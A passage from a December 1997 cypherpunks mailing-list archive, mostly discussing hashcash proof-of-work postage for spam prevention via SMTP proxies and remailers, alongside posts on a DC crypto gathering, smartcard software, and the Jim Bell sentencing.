If the postage is valid, replay the headers to the real SMTP server
(with IP masquerading so that the IP address appears to be coming from
the originator, so that the SMTP server will not get upset about
reverse DNS look up mismatches etc).  Then act as a dumb proxy for the
rest of the connection passing data through to the normal hashcash
server.


This still leaves open the question of the user generating their own
hashcash postage.  Again this could be problematic for neophytes.  One
solution is to include a URL for a web page including a javascript
hashcash generator -- this means that no new software must be
installed, the user cut and pastes the generated hashcash into their
message.

However things would be a whole lot simpler short term if the mail
originators ISP created the hashcash for him at the ISPs SMTP hub
where the user hands off his mail for further delivery.

The main problem with this is that the SMTP mail hub would be
overloaded by the CPU intensive task of generating hashcash.

There are a few techniques to reduce the overhead of preventing spam
with hashcash.  One is to require valid hashcash only on the first
message to a given address.  (Spammers being hit and run types, and
even having to generate hashcash for each spamee once would be
expensive for a spam list of 10 million unwilling spam recipients).
Better, is to require valid hashcash on all mail, _until_ the
recipient replies to a mail.  This is good because people rarely reply
to spammers.

Ordinary users who chit-chat backwards and forwards in mail generate
little added overhead for the hand off SMTP server -- the only
overhead being to generate say 5 seconds CPU worth of hashcash for
each new recipient the user sends to.

Then you add some hashcash accounting so that users who overspend
(consuming more than say 1 minutes CPU consumption on the server in a
24 hour period have their email bounced with explanation of how to
generate their own hashcash as a heavy user).

Figures would need tuning to see how they worked out in practice,
however it seems that it would be feasible to handle the whole
operation entirely at the sending and receiving SMTP servers.

Comments?

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sat, 13 Dec 1997 15:52:02 +0800
To: cypherpunks@cyberpass.net
Subject: Crypto-gathering today in DC (12/13) at 3 pm
Message-ID: <v03007805b0b7ebfb73d5@[204.254.21.75]>
MIME-Version: 1.0
Content-Type: text/plain



We're having a crypto-gathering in Washington, DC today to coincide with
the end of IETF. It probably would be a DC cypherpunks meeting if we had
enough notice -- but since we don't it'll be a less formal gathering
instead.

Guests -- John Gilmore and Hugh Daniel
When -- 3 pm, Saturday, December 13
Where -- Adams Morgan, Washington, DC
What -- Probably IPsec, Bernstein lawsuit, crypto legislation

If you're interested, email for details.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phelix@vallnet.com
Date: Sat, 13 Dec 1997 14:25:40 +0800
To: cypherpunks@Algebra.COM
Subject: Re: hashcash spam prevention & firewalls
In-Reply-To: <199712130059.AAA06343@server.eternity.org>
Message-ID: <34921c6b.2682714@128.2.84.191>
MIME-Version: 1.0
Content-Type: text/plain



On 12 Dec 1997 22:44:29 -0600, Adam Back <aba@dcs.ex.ac.uk> wrote:

>
>
>I am looking at writing some hashcash
>(http://www.dcs.ex.ac.uk/~aba/hashcash/) based spam prevention
>software.  The motivation for writing spam prevention software is that
>spam is better combatted with technical methods than legal or
>political (we do not want clueless politicians coming in ham-fisted
>and requiring "Internet Drivers Licenses" or anti-spam legislation or
>anything else, such actions will be hazardous for the future of
>remailers, in my opinion).

I fear such draconian measures are inevitable as long as the "lobbying"
group CAUCE is around.  They actively discourage the adoption of technical
solutions; favoring legislation.  And since CAUCE was formed by "Net
people", it will be seen (and spun in the press) as though we actually
welcome such legislation.

[... explaination of hashcash spam prevention deleted...]

>The Right Way to do it perhaps is as an SMTP extension, however I
>consider this impractical in the short term because as far as I know
>there is no SMTP extension plug-in mechanism (other than access to the
>source code, and lots of development time) and because there are a
>large number of mail servers in use, and it will be expensive in
>developer (that's me) time to provide patches for them all
>(exarcebated by the fact that in many cases source will not be
>available).

How does PGP do it with their policy enforcer?

>So these problems leave us scratching around for other more generic
>approaches.  One method is to create a proxy which receives mail on
>port 25 (as the SMTP server normally does) filters examining for
>correct hashcash postage, and bounces if the postage is missing, and
>forwards the mail on to the real SMTP server if the hashcash postage
>is valid.  The real SMTP server would then be set to run on another
>port... say port 26 which is reserved, and have the mail forwarded to
>it at that port.  (You would want to disable non-local access to port
>26 either at firewall or with SMTP server configuration if that is
>possible).
>
>Alternatively run the real SMTP server on another machine inside the
>local network.
>
>A few problems with this approach, firstly it may not be possible to
>configure some SMTP server software to run at ports other than 25.  (I
>know you can do it with sendmail: OOPort=26 does it.)  (If this is not
>possible with a given SMTP server you can still run a proxy by running
>the real SMTP server on another machine inside the network).
>
>Secondly the proxy approach prevents some of the SMTP server functions
>from operating properly because the process on the other end of the
>socket is our hashcash proxy on localhost rather than the remote mail
>hub (modern sendmails can be configured to perform reverse name
>lookups on IP addresses, call ident (ident sucks anyway IMO), or block
>based on IP address or domain, etc.)  Is this kind of thing likely to
>be a big problem?

I don't see why.  Just have the proxy work both ways.  Isn't it possible
for the proxy to keep track of which message came from which address and
relay server requests back to the right user?  (I'm not familiary with how
sendmail works, so I'm probably missing something)

>
>This still leaves open the question of the user generating their own
>hashcash postage.  Again this could be problematic for neophytes.  One
>solution is to include a URL for a web page including a javascript
>hashcash generator -- this means that no new software must be
>installed, the user cut and pastes the generated hashcash into their
>message.

How many of the popular email pacakges have support for plug-ins?
Netscape Communicator is the only package (that neophytes will use) I know
of that doesn't support email plugins.  Perhaps in this case a small proxy
could be installed on the user's machine.  The only thing it would have to
do is generate hashcash for outgoing messages.  

>However things would be a whole lot simpler short term if the mail
>originators ISP created the hashcash for him at the ISPs SMTP hub
>where the user hands off his mail for further delivery.
>
>The main problem with this is that the SMTP mail hub would be
>overloaded by the CPU intensive task of generating hashcash.
>
>There are a few techniques to reduce the overhead of preventing spam
>with hashcash.  One is to require valid hashcash only on the first
>message to a given address.  (Spammers being hit and run types, and
>even having to generate hashcash for each spamee once would be
>expensive for a spam list of 10 million unwilling spam recipients).
>Better, is to require valid hashcash on all mail, _until_ the
>recipient replies to a mail.  This is good because people rarely reply
>to spammers.
>
>Ordinary users who chit-chat backwards and forwards in mail generate
>little added overhead for the hand off SMTP server -- the only
>overhead being to generate say 5 seconds CPU worth of hashcash for
>each new recipient the user sends to.
>
>Then you add some hashcash accounting so that users who overspend
>(consuming more than say 1 minutes CPU consumption on the server in a
>24 hour period have their email bounced with explanation of how to
>generate their own hashcash as a heavy user).
>
>Figures would need tuning to see how they worked out in practice,
>however it seems that it would be feasible to handle the whole
>operation entirely at the sending and receiving SMTP servers.
>

What's the difference between this and simply keeping track of how many
messages each user sends in a 24 hour period and blocking people who are
obviously spamming?

-- Phelix





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 13 Dec 1997 21:56:51 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: hashcash spam prevention & firewalls (fwd)
Message-ID: <199712131409.IAA22278@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Fri, 12 Dec 1997 20:24:59 -0800
> From: Bill Frantz <frantz@netcom.com>
> Subject: Re: hashcash spam prevention & firewalls

> I think there needs to be a story for mailing lists.  It might be
> acceptable for the first pass to allow spamming of mailing lists but not of
> individuals email addresses.  (Apologies in advance to list moderators.)

We have a moderator? This is news to me and I suspect the other CDR
operators. Who is this person please, I would very much like to discuss a
couple of issues with them...


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sat, 13 Dec 1997 21:58:53 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Radio Free Cypherpunks...
Message-ID: <199712131413.IAA22334@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

With the recent changes in the law regarding Pirate Radio is anyone looking
at sending the cypherpunks traffic over a low-power transmitter so that
folks in your town can tune in and listen to the traffic? Seems like a
perfect means to make the issues even better known.


    ____________________________________________________________________
   |                                                                    |
   |                                                                    |
   |      We built your fort. We will not have it used against us.      |
   |                                                                    |
   |                          John Wayne -  Allegheny Uprising          |
   |                                                                    |
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http://www.ssz.com/   |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage@ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jon Galt <jongalt@pinn.net>
Date: Sat, 13 Dec 1997 22:08:27 +0800
To: Declan McCullagh <declan@well.com>
Subject: Re: CDT VTW "aces" launch "bold" new Net-firm, by Brock Meeks
In-Reply-To: <Pine.GSO.3.95.971212133553.29644J-100000@well.com>
Message-ID: <Pine.SUN.3.91.971213084214.10851A-100000@everest.pinn.net>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 12 Dec 1997, Declan McCullagh wrote:

> ---
> 
> http://www.msnbc.com/news/129054.asp
> 
> Noted Net lobbyists form for-profit firm Two non-profit cyberspace
> advocates now look to market Internet strategies
> 
> By Brock Meeks
> 
> WASHINGTON -- This is a story of defection. Two well-known
> voices on cyberspace advocacy issues Jonah Seiger of the Center for
> Democracy and Technology and Shabbir Safdar of Voters
> Telecommunication Watch said Tuesday they're forming a
> company specializing in "Internet campaign strategies."
> Spin doctors for fun and profit. And along they way, they hope to
> help make the Internet safe for Democracy.

Maybe I'm dumb as a post (no pun intended), or maybe I'm just not up to 
speed on these advocacy issues, but - where's the defection?  Why is 
starting a company, or the particular company in question considered a 
defection?


> The move is a dramatic shift for the two. In four years they have
> been at the forefront of the most contentious issues in cyberspace.
> They've created and honed their Internet strategies in the
> bare-knuckle world of Washington politics with incessant digital
> lobbying. No more. "We aren't going to be walking
> around the halls of Congress lobbying on behalf of anybody,"
> Seiger said.

What's so dramatic about it?


> Seizer's own currency
> inside the Center for Democracy and Technology has been on a steady
> rise; he routinely is quoted on cyberspace issues. Now he's
> chucked all that for a start-up that depends on a medium that
> hasn't yet proven it can sustain a commercially viable site.

Is this a claim that nobody has made any significant money through the 
internet?

______________________________________________________________________
Jon Galt
e-mail:  jongalt@pinn.net
website:  http://www.pinn.net/~jongalt/
PGP public key available on my website.
Democracy is two wolves and a sheep voting on what to have for dinner.
______________________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Sat, 13 Dec 1997 22:37:18 +0800
To: cypherpunks@Algebra.COM
Subject: Not quite as much Blood in the Streets
In-Reply-To: <34921c6b.2682714@128.2.84.191>
Message-ID: <3.0.2.32.19971213093246.038e38f4@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

The Net teaches even old dogs new tricks.  From the Laissez Faire Books 
catalog:

http://www.lfb.org/investment.html#iv7644

*****************

James Davidson and William Ress-Mogg 

THE SOVEREIGN INDIVIDUAL
How to Survive and Thrive During the Collapse of the Welfare State
by James Dale Davidson and Lord William Rees-Mogg 

In their newest work, the authors of Blood in the Streets and The Great 
Reckoning predict increased autonomy for the individual as information 
technologies advance and old institutions crumble-including the welfare state 
itself. Along with an array of provocative predictions (government will 
declare war on groups that try to circumvent income tax through cyberspace; 
central banks will lose control over the money supply as cybercash supplants 
paper money; the U.S. government will shrink) Rees-Mogg and Davidson offer 
investment advice and strategies for coping.

*****************
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBNJKcjIVO4r4sgSPhAQHLQwQAlBdYuWWoA/Q3Y6xkM1vT3iMm0HMCAuBS
HYCu5NaRUfslMdbjvgqHAnc8SV+AX7fXVSfgCZ6nVtchnubgKaO22RcMlKWu423i
dQrBvP0ZBK+fbWaFjZVvVVS4uZcHrUniUNj/u57Px9OmzK09zXXfJqdBuvwfm8ta
X8br0rsIz48=
=0opA
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Sat, 13 Dec 1997 22:43:51 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Columbian squib on Bell sentencing
In-Reply-To: <3.0.2.32.19971212220205.006c67c8@pop.sirius.com>
Message-ID: <3.0.2.32.19971213093848.038eb1a8@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>>From The Columbian's web site at
><http://www.columbian.com/newsroom/topstories.html>:
>
>     'Assassination Politics' 
>     author gets 11 months
>
>       TACOMA, Wash. - James Dalton Bell, the Vancouver man who wrote an
>Internet essay entitled "Assassination Politics," was sentenced this
>morning to 11 months in prison and two to three years of tightly supervised
>probation.


Eleven *whole* months (8 months served already).  They've got to be kidding.  
This is misdemeanor territory.  I know he was chicken enough to plead but 
Milken pleaded and got 10 years!  We're quaking in our boots out here.

DCF
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBNJKd94VO4r4sgSPhAQGYXAQAhuBPPWTUz65vSJLRTWwUZCocxMlUqWls
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WSf7n8xwWkGE8TNfWoNMa/qfehmxLQNFJzZyXSHQ08MxMQiMnQx7phtThVOTjqHr
yAx8OEmKE0A=
=xmE0
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: frissell@panix.com
Date: Sat, 13 Dec 1997 22:49:24 +0800
To: cypherpunks@toad.com
Subject: Re: CDT VTW "aces" launch "bold" new Net-firm, by Brock Meeks
In-Reply-To: <Pine.GSO.3.95.971212133553.29644J-100000@well.com>
Message-ID: <3.0.2.32.19971213094124.038f1aec@panix.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>http://www.msnbc.com/news/129054.asp
>
>Noted Net lobbyists form for-profit firm Two non-profit cyberspace
>advocates now look to market Internet strategies
>
>By Brock Meeks
>
>WASHINGTON -- This is a story of defection. Two well-known
>voices on cyberspace advocacy issues Jonah Seiger of the Center for
>Democracy and Technology and Shabbir Safdar of Voters
>Telecommunication Watch said Tuesday they're forming a
>company specializing in "Internet campaign strategies."

MarketEarth enfolds another two helpless victims in its coils.  Beware.  You 
may be next...

DCF
-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBNJKekoVO4r4sgSPhAQFZbAQAureZot0woH7CANkCc4l+SP5A4q3DzgbB
xp8y8zkT7JSriQULfLPMwoy7KR7v4kduQQj1wfywpb+MzIw2OtO9e/n56uIYo61a
9ZMjdGbONbGO6pua4H2Yj7Ymru1o2BSk+597tTAW6k6PIqh37faRZxULbyI0HZLu
lkeUaz1SbiY=
=oyYF
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <bill.stewart@pobox.com>
Date: Sun, 14 Dec 1997 02:38:52 +0800
To: Antonomasia <cypherpunks@ssz.com
Subject: Re: hashcash spam prevention & firewalls
In-Reply-To: <199712131225.MAA02138@notatla.demon.co.uk>
Message-ID: <3.0.3.32.19971213101329.007794a0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:25 PM 12/13/1997 GMT, Antonomasia wrote:
>Hashcash in this context suffers from the 'fax effect' - the
>catch 22 of "We won't install what isn't widely used".

Makes sense to run it in a permissive mode for a while first -
sendmail++ could add hashcash to outgoing messages, and mark the
hashcash information in the headers on incoming messages.
The catch is getting it generated - you've got to include it
either in ISP's outgoing relays, or ideally in client software.
(Since hashcash is mainly for spam prevention, relays _could_
just check that there's some valid hashcash going by without
removing it - that's a bit tricky in multiple-recipient mail anyway,
since you'd normally need to include one hashcash per recipient.)
So if you want it adopted, you'd need to talk to the folks at
Qualcomm Eudora and at Netscape, and see if you can get Microslush
to include it in some of their mail clients.  This does have the
advantage that most of the CPU load is calculated on users' machines,
where there's plenty of spare horsepower, rather than on relay
machines which are not only easily tricked, but also tend to have
about as much horsepower as each of the thousands of clients they serve.

>>                         and b) it reduces bandwidth consumption on
>> dial up users pay per second lines as the spam is killed before they
>> see it.
>
>I have not (yet) persuaded demon to allow user-defined procmail rules
>on the ISP end of the phone lines.  Anybody know an ISP who does this ?

Almost any ISP that provides shell accounts can give you a mechanism for this,
whether it's procmail itself or your own relay program that feeds
your mail to procmail before delivering it to you.

Alternatively, some of the boring commercial services like AOL
have Spam-blocking options, and the pobox.com mail relay does also.
These aren't like having your own procmail, but they'll kill off
the well-known spammers for you, e.g. blocking c y b e r p r o m o
and some of the popular harvester programs that advertise themselves
in mail headers.



>> Better, is to require valid hashcash on all mail, _until_ the
>> recipient replies to a mail.  This is good because people rarely reply
>> to spammers.
>This means a huge database of who has replied to whom.  Must the
>reply have headers indicating In-Reply-To a recognisable message ?

That has real trouble with mailing lists.
It also creates a valuable soft-target traffic analysis database;
unlike current sendmail logs, it'll probably stick around for
an extended period of time, and be readily subpoenaed.
At a minimum, such a database should keep keyed hashes of addresses
rather than the addresses themselves - that still makes it possible
to check for individual known addresses, but makes it harder
to go fishing for everybody.  The reason for keyed hashes is to
require dictionary attacks to target individual machines,
but the added work factor for hashing the database of usual suspects
for aol.com, compuserve.com, hotmail.com, juno.com, worldnet.att.net,
demon.co.uk, and relay.national.sg isn't that large.

Also, it's easy for spammers to fake replies to themselves to 
prime the pump for their big spam.  And if you let mailing lists slide,
they can easily forge mail from the mailing lists.
				Thanks! 
					Bill
Bill Stewart, bill.stewart@pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@cypherpunks.to>
Date: Sat, 13 Dec 1997 17:20:44 +0800
To: cryptography@c2.net
Subject: Smartcard update
Message-ID: <Pine.BSF.3.96.971213100418.26349A-100000@pakastelohi.cypherpunks.to>
MIME-Version: 1.0
Content-Type: text/plain



Cypherpunks Tonga announces yet another version of SIO/STEST, the
universal smartcard software.

Quick summary of changes:
 - Philips, Gemplus, and Schlumberger reader support added
 - Chipknip (IEP) specific commands added
 - new internal commands
 - infrastructure for implementing card specific commands has been added
   (which the chipknip commands are built on top of)

At this point, we need others to start writing tables to support
additional cards. If you have an ISO7816 compatible smartcard with
programmer reference manual and minimal C knowledge, you can contribute to
the project. 

Full source is at https://www.cypherpunks.to/scard/stest_download.php

-- Lucky Green <shamrock@cypherpunks.to> PGP v5 encrypted email preferred.
   "Tonga? Where the hell is Tonga? They have Cypherpunks there?"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <bill.stewart@pobox.com>
Date: Sun, 14 Dec 1997 02:38:23 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Columbian squib on Bell sentencing
In-Reply-To: <3.0.2.32.19971212220205.006c67c8@pop.sirius.com>
Message-ID: <3.0.3.32.19971213102405.0077fbf0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:38 AM 12/13/1997 -0500, frissell@panix.com wrote:
>Eleven *whole* months (8 months served already).  They've got to be kidding.  
>This is misdemeanor territory.  I know he was chicken enough to plead but 
>Milken pleaded and got 10 years!  We're quaking in our boots out here.

Does the 11 months include time served?  

Also, the Columbian story on Bell had a pointer to http://wire.ap.org/
which had its top story on a trade pact opening up relatively free trade
in the financial services business.
http://wire.ap.org/APnews/center?STORYOID=204c.12470&FRONTID=PACKAGE&EXTRA=BIZtrade
				Thanks! 
					Bill
Bill Stewart, bill.stewart@pobox.com
PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <schear@lvdi.net>
Date: Sun, 14 Dec 1997 02:38:23 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: remailer hashcash spam prevention
In-Reply-To: <3.0.3.32.19971212234515.006a79a0@mail.atl.bellsouth.net>
Message-ID: <v03102800b0b87ebad87a@[208.129.55.202]>
MIME-Version: 1.0
Content-Type: text/plain



I disagree that the best way to implement hashcash is solely via the SMTP mechanism.  

Almost any efficient hashcash mechanism will require some sort of history file, or "invited list," to allow mail lists and those we have corresponded with to continue to do so w/i having to supply hashcash each time.  This list contains information which might have privacy implications and so should not be stored at the ISP, which can be forced to reveal such info w/o the knowledge of the client.

If 'open' list policies were changed so that anyone could post if they supplied enough hashcash for each mailing list recipient for their first 1 or 2 posts, and thereafter no longer needed to supply hashcash (sort of minimum reputation capital), it might eliminate hit-and-run or throw-away account SPAMers without offering too high a hurdle to new or infrequent posters.

Since most popular email clients allow plug-ins (e.g. Eudora) or extensions via Java/ActiveX, providing hashcash functionality via a plug-in and the java generators you propose would provide a simple mechanism to test its effectiveness w/o needing to involve the IETF.  The shortcoming of a plug-in approach is that few newbies will know of it or install it and will therefore have to wait till its built into the new release of whatever client they use or until some or all of the features are supplied by their ISP, allowing those calling regulation to continue to blow their horns.  However, if after a successful cypherpunk beta we could get the major email client companies (Netscape, M$ and Qualcomm) to include our plug-ins with all their new updates and offer them for free download from their Web sites, it could quickly steal the CAUCE folk's thunder.

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 13 Dec 1997 19:20:07 +0800
To: phelix@vallnet.com
Subject: Re: hashcash spam prevention & firewalls
In-Reply-To: <34921c6b.2682714@128.2.84.191>
Message-ID: <199712131036.KAA00930@server.eternity.org>
MIME-Version: 1.0
Content-Type: text/plain




Phelix <phelix@vallnet.com> writes:
> 
> >The Right Way to do it perhaps is as an SMTP extension, however I
> >consider this impractical in the short term because as far as I know
> >there is no SMTP extension plug-in mechanism [...]
> 
> How does PGP do it with their policy enforcer?

Their controversial GAK ready policy enforcer works as a a local SMTP
proxy.  You set up your normal SMTP server on another machine, and
configure the policy enforcer to forward mails to the normal SMTP
server.  Or presumably if you can configure your SMTP server to accept
connections on a port other than 25 you could have the SMTP enforcer
on the same machine.

The same thing could work for a hashcash filter, and it is one
feasible solution.

> >Secondly the proxy approach prevents some of the SMTP server functions
> >from operating properly because the process on the other end of the
> >socket is our hashcash proxy on localhost rather than the remote mail
> >hub (modern sendmails can be configured to perform reverse name
> >lookups on IP addresses, call ident (ident sucks anyway IMO), or block
> >based on IP address or domain, etc.)  Is this kind of thing likely to
> >be a big problem?
> 
> I don't see why.  Just have the proxy work both ways.  Isn't it possible
> for the proxy to keep track of which message came from which address and
> relay server requests back to the right user?  (I'm not familiary with how
> sendmail works, so I'm probably missing something)

The functionality which is lost is the possibility for the sendmail to
be configured to do a reverse DNS lookup on the IP address which is
connecting to it, and check that that domain is the same as the domain
in the From field.  Also ident lookups don't work anymore either.
However I am not sure how reliable either of these mechanisms are, and
I'm not sure that many people are using them because they would be
unlikely to be reliable in the general case.

So probably this is not a problem.

> >This still leaves open the question of the user generating their own
> >hashcash postage.  Again this could be problematic for neophytes.  One
> >solution is to include a URL for a web page including a javascript
> >hashcash generator -- this means that no new software must be
> >installed, the user cut and pastes the generated hashcash into their
> >message.
> 
> How many of the popular email pacakges have support for plug-ins?
> Netscape Communicator is the only package (that neophytes will use) I know
> of that doesn't support email plugins.  Perhaps in this case a small proxy
> could be installed on the user's machine.  The only thing it would have to
> do is generate hashcash for outgoing messages.  

A local SMTP proxy to add hashcash on the way out should work fine.

> >require valid hashcash on all mail, _until_ the
> >recipient replies to a mail.  This is good because people rarely reply
> >to spammers.
> >
> >Then you add some hashcash accounting so that users who overspend
> >(consuming more than say 1 minutes CPU consumption on the server in a
> >24 hour period have their email bounced with explanation of how to
> >generate their own hashcash as a heavy user).
> 
> What's the difference between this and simply keeping track of how many
> messages each user sends in a 24 hour period and blocking people who are
> obviously spamming?

The difference is that it allows the ISP which is hit by spam attacks
to install a hashcash filter.

With simple resource metering at the spammers ISP side, the spammers
typically abuse other peoples open SMTP agents to forward their spams
for them.

Their ISPs can do little about this.

Really it's best if the sender is left to generate his own hashcash,
the motivation for working out ways to have the originators ISP's
outgoing SMTP hub generate hashcash for them is that it is simpler to
install in the short term.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 13 Dec 1997 19:19:47 +0800
To: pooh@efga.org
Subject: remailer hashcash spam prevention
In-Reply-To: <3.0.3.32.19971212234515.006a79a0@mail.atl.bellsouth.net>
Message-ID: <199712131055.KAA00967@server.eternity.org>
MIME-Version: 1.0
Content-Type: text/plain




Robert Costner <pooh@efga.org> writes:
> At 12:59 AM 12/13/97 GMT, Adam Back wrote:
> >(Hashcash is a way of proving that the sender has consumed a tunable
> >amount of CPU time.  The verification process consumes negligible CPU
> >time.  This allows us to require the would be spammer to spend say 20
> >seconds per mail, which will slow him down considerably, over his
> >current tactics of 1000 long Bcc lists allowing him to hand off
> >spamming tasks to mail servers.)
> 
> So a remailer, such as Cracker, that might send out an average of 3,000
> emails per day would be required to use up 3,000 * 20 secs = 17 hours of
> cpu time per day.  Since a portion of these emails are to multiple
> recipients, then let's add 1/3 extra hashcash CPU time, or a total of about
> 22 hours of CPU time per day.

Remailers require a different strategy.  With remailers you are trying
to discourage spammers from using the remailer, with email you are
also trying to discourage spammers, but you have to do it in ways
which is easy for neophytes to cope with.

With remailers people already have to get new software, and all of the
source is available, so it is relatively easy for us to add
requirements for hashcash postage into type I remailers, in to
mixmaster, and newnym.  Hashcash was originally designed for this.
There is an implementation on http://www.dcs.ex.ac.uk/~aba/hashcash/

Also Andy Dustman, who is the guy who administers the efga remailer
(right?) wrote a python interface to hashcash, and is keen on python
hacking.  I suspect efga remailer may even be written in python if
Andy had much to do with it :-)

So with remailers you insist that the sender generate the hashcash
with all of their remailer requests, you bounce it or silently trash
it if there is no valid hashcash.  Also I would highly recommend that
you use Ian Goldbergs exit man script for remailer delivery -- it
delivers via HotMail and other such free web based email systems, via
publically accessible proxies and ensures that your remailer address
doesn't appear in the headers where you are the exit remailer. 

> Of course the Cracker mail system also runs various mail lists for EFGA.

Mailing lists you have to realistically I think not use hashcash for.
The majordomo process would become overloaded if it had to generate
hashcash for each recipient of each message.  Similarly the poster
would be over loaded if he had to generate hashcash for each recipient
of the message.  (I would not like to have to generate 1000 (or
whatever the current readership is ) of 20 second hashcash stamps to
post this message to cypherpunks for instance).

The way to cope with this in hashcash filters is to exempt mailing
lists from hascash requirement via a user administered allow list.

(You could possibly auto detect mailing lists at the hashcash filter
agent -- the subscription process could be detected -- or more risky
in that spammers might work out a way to abuse this -- by recognising
the pattern of mails -- lots of mails with the same Sender, and
different From fields.

> Of course, since we might be able to delete the need for hashcash among
> people who know each other, we could have Cracker build a database of
> people who like to have privacy

I tend to argue against this include list -- remailers become less
useful if you can not send mail to anyone who can receive SMTP mail.
I prefer the exit man via HotMail approach to the send notification
that there is anonymous email ready to be picked up approach.

> ISP's in general could handle the hashcash generation at the SMTP
> level by keeping databases of who sends email to whom.

Yes.  This can work reasonably well because people do not reply to
spammers, and most email has a to and fro pattern.

> It is of course far easier to do a single database lookup than to
> generate the 20 seconds of hashcash.

> I don't know.  I just don't understand the plan fully.  I'll have to
> think about it some more.

Read the stuff on http://www.dcs.ex.ac.uk/~aba/hashcash/ it talks more
about remailers.

Adam





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Sat, 13 Dec 1997 19:19:57 +0800
To: frantz@netcom.com
Subject: hashcash => mailing lists get spam instead
In-Reply-To: <v0311072fb0b7bdf3f0df@[207.94.249.114]>
Message-ID: <199712131100.LAA00986@server.eternity.org>
MIME-Version: 1.0
Content-Type: text/plain




Bill Frantz <frantz@netcom.com> writes:
> 
> At 4:59 PM -0800 12/12/97, Adam Back wrote:
> >I am looking at writing some hashcash
> > ... Neatly worked out scheme deleted ...
> 
> I think there needs to be a story for mailing lists.  It might be
> acceptable for the first pass to allow spamming of mailing lists but not of
> individuals email addresses.  (Apologies in advance to list moderators.)

Yes, I think this is a reasonable first pass.

Naturally as you suggest the foiled spammer will then target mailing
lists and newsgroups.

I tend to view this as less of a problem because these forums are
already noisy and tend to require filtering, or manual filtering by
skimming for posters you recognize anyway.

Also I understand collaborative ratings schemes like NoCeM can be
configured to work for mailing lists.  For people who don't want to
install new software (and that is most people in my experience, myself
included) can use filtering services.

For example if spam became a problem on cypherpunks it would be easy
for someone to set up yet another filtered cypherpunks list which
promised to filter purely on the commercial spam criteria.

The reputation of the available filtering services, and the paranoia
of various list members would ensure that any untoward filtering would
be called into question.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

